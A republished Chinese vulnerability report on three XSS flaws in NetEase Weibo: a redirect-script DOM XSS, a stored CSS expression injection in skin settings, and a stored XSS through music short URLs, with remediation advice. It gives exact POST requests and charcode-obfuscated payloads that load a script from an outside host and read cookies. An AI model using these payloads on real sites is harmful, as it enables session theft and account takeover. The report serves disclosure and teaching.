来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 目前几个有微博的网站,都快转遍了,网易还没检测。今天晚上就跑来对网易微博做了一次检测。发现3处XSS。1. 内容存储型XSS,危害不解释,看到微博即中招。通杀所有浏览器2. 微博主...
目前几个有微博的网站,都快转遍了,网易还没检测。今天晚上就跑来对网易微博做了一次检测。发现3处XSS。
1. 内容存储型XSS,危害不解释,看到微博即中招。通杀所有浏览器 2. 微博主页存储型XSS,IE 6,7,8+兼容模式 有效 3. 微博子页面XSS。 具体见详细说明。 BTW, 求礼物...求礼物.... 这里顺便分享下检测方式。 从小漏洞到大漏洞依次说。 ---------------------------------------------------------- 1. 子页面XSS。 习惯性的看一下网页的源码。 发现以下这么一段。 <script type="text/javascript"> (function() { var url = location.toString(); var index = url.indexOf('#!'); if (index != -1) { location.replace(url.substr(index + 2).replace(/\:/g, '')); } })(); </script> 那么我们可以构造一个URL来执行我们的命令。 http://t.163.com/tbox#!javascript:alert(document.cookie); 可是从代码里,我们可以看出,网易将 冒号:给过滤了 不过在IE下(测试时为win7+ IE9),我们可以通过以下方式绕过。 http://t.163.com/tbox#!javascript:alert(document.cookie); 效果证明: ---------------------------------------------------------- 2. 漏洞2,个人主页存储型XSS, 由于是在css里,用expression,对IE6,7及IE8以上兼容模式有效。 这个漏洞比较低级,我就不详细说了。 缺陷位置:微博换肤功能。 缺陷URL:http://t.163.com/user.do?action=updateUserConfig 缺陷参数:(4个) profile_background_image_url profile_background_pos profile_background_fixed profile_background_filled 缺陷原因:没有过滤(,),; ,导致可以对css进行闭合。 利用步骤: POST http://t.163.com/user.do?action=updateUserConfig POSTDATA profile_background_image_url=);color:expression(if(!window.x){window.x=1;var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(s);});a:( 以上代码是调用外部JS了,这里我就不给截图证明了,安全人员肯定知道的。 ---------------------------------------------------------- 3. 微博内容存储型XSS,这个危害是显而易见的。 分享一下发现方法: A. 首先,我个人比较喜欢测试多媒体功能,就试用了一下微博的音乐发送功能,发送的同时,也进行抓包。 可以看到抓包有2个请求。 请求一:将音乐地址生成短网址 POST http://t.163.com/music.do?action=toShortUrl POSTDATA url http://www.xiami.com/song/1769227691 请求二:推送微博内容 POST http://t.163.com/tweet.do?action=addTweet POSTDATA content Somewhere Only We Know—Keane http://163.fm/QJ5yOnj isRetweet 0 replyOriginal 0 replyIt 0 flag 0 imageUrl voteUrl B. 按照我一贯的思维方式,F12 打开chrome 的调试工具,定位到刚发的那条微博上。 发现以下有趣的内容。 C. 可以看出那个地址就是播放的歌曲地址,也就是步骤A中,被转换为短网址的那个地址。 接着发挥俺的想象,推想一下。 如果微博的开发人员,是反向将短网址的内容,输出到这里,而且没有任何过滤的话,岂不是爽了? 如果真没过滤的话,我们可以构建以下代码进行XSS songurl="http://www.xiami.com/song/1769227691"><img src=1 onload=alert(1) /><a D. 带着这个想法,我们通过以下步骤来进行XSS。 E. 将含有恶意代码的网址转变为短网址 POST http://t.163.com/music.do?action=toShortUrl POSTDATA url=http://www.xiami.com/song/2068536?"'><img src=1 onerror='var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(s);'><a 返回数据得到短网址 http://163.fm/QJ5yOnj F. 将构建的短网址放入内容进行发送 POST http://t.163.com/tweet.do?action=addTweet POSTDATA content Somewhere Only We Know—Keane http://163.fm/QJ5yOnj isRetweet 0 replyOriginal 0 replyIt 0 flag 0 imageUrl voteUrl G. 刷新我们的微博,会发现多了一条微博,并且弹出了cookies。 这证明了我们的猜想是对的~~ 为了进一步确定,我们可以再打开Chrome调试工具,看看 效果证明: chrome下自己查看微博的弹窗: IE下,用另外一个号关注了上面这个号之后,在自己的主页被上面的号发送的微博弹窗。 www.2cto.com 至于Firefox,我就不测试了,因为这段利用过程不存在浏览器兼容问题。 修复方案: 1. 对于子页面的那个XSS,除了过滤冒号之外,应该判断一下,#!以后的内容,加强判断。 2. 对于个人主页的XSS, 多个最起码的正则判断吧,比如profile_background_fixed 这个参数只有0和1,很好限制的。然后过滤 ()这种可能闭合css的字符。 3. 至于第3个XSS,在从短网址读取真实歌曲地址的时候,encodeURIComponent 编码一下所得到的真实地址,再输出即可! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com